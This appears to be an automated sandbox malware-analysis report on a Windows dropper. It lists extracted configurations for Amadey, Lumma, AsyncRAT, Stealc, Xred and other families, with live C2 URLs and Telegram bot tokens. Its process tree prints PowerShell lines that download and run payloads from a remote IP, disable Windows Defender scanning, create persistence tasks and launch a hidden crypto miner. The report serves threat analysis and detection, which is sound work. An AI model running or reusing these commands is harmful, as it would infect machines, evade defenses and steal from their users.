Overview

overview

10

Static

static

3

1285fdb82e...fc.exe

windows7-x64

10

1285fdb82e...fc.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    132s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/03/2025, 20:11

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe
  • Size 1.8MB
  • Sample250309-yymsaazwev
  • SHA256 1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
amadeyasyncratgcleanergurcuhealerlummastealcstormkittyxmrigxred092155defaulttrumpbackdoorcredential_accessdefense_evasiondiscoverydropperexecutionloaderminerpersistenceprivilege_escalationratspywarestealertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://176.113.115.7/mine/random.exe

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://176.113.115.7/mine/random.exe

Extracted

Family

  • amadey

Version

  • 5.21

Botnet

  • 092155

C2

  • http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

  • lumma

C2

  • https://garagedrootz.top/api

  • https://begindecafer.world/api

  • https://modelshiverd.icu/api

  • https://arisechairedd.shop/api

  • https://catterjur.run/api

  • https://orangemyther.live/api

  • https://fostinjec.today/api

  • https://1sterpickced.digital/api

  • https://dawtastream.bet/api

  • https://foresctwhispers.top/api

  • https://tracnquilforest.life/api

  • https://xcollapimga.fun/api

  • https://strawpeasaen.fun/api

  • https://jquietswtreams.life/api

  • https://starrynsightsky.icu/api

  • https://earthsymphzony.today/api

  • https://agroecologyguide.digital/api

  • https://explorebieology.run/api

  • https://kmoderzysics.top/api

  • https://seedsxouts.shop/api

Extracted

Family

  • asyncrat

Botnet

  • Default

C2

  • 127.0.0.1:6606

  • 127.0.0.1:7707

  • 127.0.0.1:8808

  • https://api.telegram.org/bot8007077483:AAHM4_PlNxkpckDEqg6ywAn9tdKAEoUNe4o/sendMessage?chat_id=5243921565

Mutex

  • AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

  • xred

C2

  • xred.mooo.com

Attributes
  • email

    [email protected]

  • payload_url

    http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

    http://xred.site50.net/syn/SUpdate.ini

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

    https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

    http://xred.site50.net/syn/Synaptics.rar

    https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

    https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

    http://xred.site50.net/syn/SSLLibrary.dll

Extracted

Family

  • stealc

Botnet

  • trump

C2

  • http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Extracted

Family

  • gurcu

C2

  • https://api.telegram.org/bot8007077483:AAHM4_PlNxkpckDEqg6ywAn9tdKAEoUNe4o/sendMessage?chat_id=5243921565

  • https://api.telegram.org/bot8007077483:AAHM4_PlNxkpckDEqg6ywAn9tdKAEoUNe4o/sendDocument?chat_id=524392156

  • https://api.telegram.org/bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=528366295

Extracted

Family

  • lumma

C2

  • https://agroecologyguide.digital/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Asyncrat family
    asyncrat
  • Detects Healer an antivirus disabler dropper 3 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Gurcu family
    gurcu
  • Gurcu, WhiteSnake

    Gurcu aka WhiteSnake is a malware stealer written in C#.

    stealergurcu
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 5 IoCs
  • Stormkitty family
    stormkitty
  • Xmrig family
    xmrig
  • Xred

    Xred is backdoor written in Delphi.

    backdoorxred
  • Xred family
    xred
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Async RAT payload 1 IoCs
    rat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 13 IoCs
    defense_evasion
  • XMRig Miner payload 9 IoCs
    miner
  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file 17 IoCs
  • Uses browser remote debugging 2 TTPs 9 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks BIOS information in registry 2 TTPs 26 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 8 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 31 IoCs
  • Identifies Wine through registry keys 2 TTPs 13 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 6 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops desktop.ini file(s) 15 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 13 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 13 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 4 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies registry class 4 IoCs
  • Runs ping.exe 1 TTPs 13 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 36 IoCs
  • Suspicious use of FindShellTrayWindow 59 IoCs
  • Suspicious use of SendNotifyMessage 31 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe
    "C:\Users\Admin\AppData\Local\Temp\1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1784
    • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
      "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Downloads MZ/PE file
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2036
      • C:\Users\Admin\AppData\Local\Temp\10155390101\cuFIzyH.exe
        "C:\Users\Admin\AppData\Local\Temp\10155390101\cuFIzyH.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2712
      • C:\Users\Admin\AppData\Local\Temp\10156860101\079709c541.exe
        "C:\Users\Admin\AppData\Local\Temp\10156860101\079709c541.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2900
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c schtasks /create /tn yFBKdmajwEN /tr "mshta C:\Users\Admin\AppData\Local\Temp\TrKMlmoTo.hta" /sc minute /mo 25 /ru "Admin" /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2692
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn yFBKdmajwEN /tr "mshta C:\Users\Admin\AppData\Local\Temp\TrKMlmoTo.hta" /sc minute /mo 25 /ru "Admin" /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:1020
        • C:\Windows\SysWOW64\mshta.exe
          mshta C:\Users\Admin\AppData\Local\Temp\TrKMlmoTo.hta
          4⤵
          • Checks computer location settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4668
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'HAQHM8CDYBU7BX9T2CVJCGXMBVW3WUS8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Downloads MZ/PE file
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1784
            • C:\Users\Admin\AppData\Local\TempHAQHM8CDYBU7BX9T2CVJCGXMBVW3WUS8.EXE
              "C:\Users\Admin\AppData\Local\TempHAQHM8CDYBU7BX9T2CVJCGXMBVW3WUS8.EXE"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1736
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10156870121\am_no.cmd" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2616
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 2
          4⤵
          • System Location Discovery: System Language Discovery
          • Delays execution with timeout.exe
          PID:2348
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2208
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4804
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2712
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3640
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4192
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3740
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn "uQLJ5mar74U" /tr "mshta \"C:\Temp\Q4EYPBfmH.hta\"" /sc minute /mo 25 /ru "Admin" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:1292
        • C:\Windows\SysWOW64\mshta.exe
          mshta "C:\Temp\Q4EYPBfmH.hta"
          4⤵
          • Checks computer location settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3128
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Downloads MZ/PE file
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3208
            • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
              "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious behavior: EnumeratesProcesses
              PID:4428
      • C:\Users\Admin\AppData\Local\Temp\10157090101\WoFY6iv.exe
        "C:\Users\Admin\AppData\Local\Temp\10157090101\WoFY6iv.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2512
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAZwBmACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAdABhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHcAdQBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGkAcQBxACMAPgA="
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4452
        • C:\Users\Admin\AppData\Local\Temp\fbuild.exe
          "C:\Users\Admin\AppData\Local\Temp\fbuild.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3564
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAbAB1ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAagByACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGEAdwBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAZwBuACMAPgA="
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:756
          • C:\Users\Admin\AppData\Local\Temp\build.exe
            "C:\Users\Admin\AppData\Local\Temp\build.exe"
            5⤵
            • Executes dropped EXE
            PID:924
            • C:\Windows\System32\conhost.exe
              "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\build.exe"
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2616
              • C:\Windows\System32\cmd.exe
                "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                7⤵
                  PID:2668
                  • C:\Windows\System32\Conhost.exe
                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    8⤵
                      PID:2820
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                      8⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3484
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                      8⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious use of AdjustPrivilegeToken
                      PID:112
                  • C:\Windows\System32\cmd.exe
                    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
                    7⤵
                      PID:4584
                      • C:\Windows\System32\Conhost.exe
                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        8⤵
                          PID:1608
                        • C:\Windows\system32\schtasks.exe
                          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
                          8⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:3164
                      • C:\Windows\System32\cmd.exe
                        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
                        7⤵
                          PID:4544
                          • C:\Users\Admin\AppData\Local\Temp\services64.exe
                            C:\Users\Admin\AppData\Local\Temp\services64.exe
                            8⤵
                            • Executes dropped EXE
                            PID:2364
                            • C:\Windows\System32\conhost.exe
                              "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
                              9⤵
                              • Suspicious use of SetThreadContext
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1044
                              • C:\Windows\System32\cmd.exe
                                "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                                10⤵
                                  PID:1456
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                                    11⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1608
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                                    11⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1700
                                • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                  "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                  10⤵
                                  • Executes dropped EXE
                                  PID:4300
                                  • C:\Windows\System32\conhost.exe
                                    "C:\Windows\System32\conhost.exe" "/sihost64"
                                    11⤵
                                      PID:2136
                                  • C:\Windows\System32\cmd.exe
                                    C:\Windows/System32\cmd.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=41uyesNdYjvNtMefq4i8AE8BSCySYSPuuWhyr2EfZJJ4eruTWNmyAFpaKWdyKEeL17bacUi7ALsm2WoDxPDXj7QiGFpzkrR --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O3QJHF4wHz20zKQH0DbQM9oeUFpyp1OviyxNzDJudHQ" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=50 --tls --cinit-stealth
                                    10⤵
                                    • Blocklisted process makes network request
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3740
                        • C:\Users\Admin\AppData\Local\Temp\ebuild.exe
                          "C:\Users\Admin\AppData\Local\Temp\ebuild.exe"
                          5⤵
                          • Executes dropped EXE
                          PID:1460
                          • C:\Windows\System32\conhost.exe
                            "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\ebuild.exe"
                            6⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2888
                            • C:\Windows\System32\cmd.exe
                              "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                              7⤵
                                PID:4464
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                                  8⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:436
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                                  8⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1808
                              • C:\Windows\System32\cmd.exe
                                "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Local\Temp\services32.exe"
                                7⤵
                                  PID:628
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Local\Temp\services32.exe"
                                    8⤵
                                    • Scheduled Task/Job: Scheduled Task
                                    PID:1460
                                • C:\Windows\System32\cmd.exe
                                  "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services32.exe"
                                  7⤵
                                    PID:3484
                                    • C:\Users\Admin\AppData\Local\Temp\services32.exe
                                      C:\Users\Admin\AppData\Local\Temp\services32.exe
                                      8⤵
                                      • Executes dropped EXE
                                      PID:2092
                                      • C:\Windows\System32\conhost.exe
                                        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services32.exe"
                                        9⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4916
                                        • C:\Windows\System32\cmd.exe
                                          "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                                          10⤵
                                            PID:4460
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                                              11⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:4504
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                                              11⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:3640
                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
                                            "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
                                            10⤵
                                            • Executes dropped EXE
                                            PID:3220
                                            • C:\Windows\System32\conhost.exe
                                              "C:\Windows\System32\conhost.exe" "/sihost32"
                                              11⤵
                                                PID:3832
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tt.bat" "
                                  4⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3568
                                  • C:\Windows\SysWOW64\timeout.exe
                                    timeout /t 2
                                    5⤵
                                    • System Location Discovery: System Language Discovery
                                    • Delays execution with timeout.exe
                                    PID:2900
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd /k
                                    5⤵
                                      PID:4484
                                    • C:\Windows\SysWOW64\timeout.exe
                                      timeout /t 2
                                      5⤵
                                      • System Location Discovery: System Language Discovery
                                      • Delays execution with timeout.exe
                                      PID:3504
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping -n 2 127.0.0.1
                                      5⤵
                                      • System Location Discovery: System Language Discovery
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:4020
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping -n 3 127.0.0.1
                                      5⤵
                                      • System Location Discovery: System Language Discovery
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:2712
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping -n 1 127.0.0.1
                                      5⤵
                                      • System Location Discovery: System Language Discovery
                                      • System Network Configuration Discovery: Internet Connection Discovery
                                      • Runs ping.exe
                                      PID:3348
                                    • C:\Windows\SysWOW64\PING.EXE
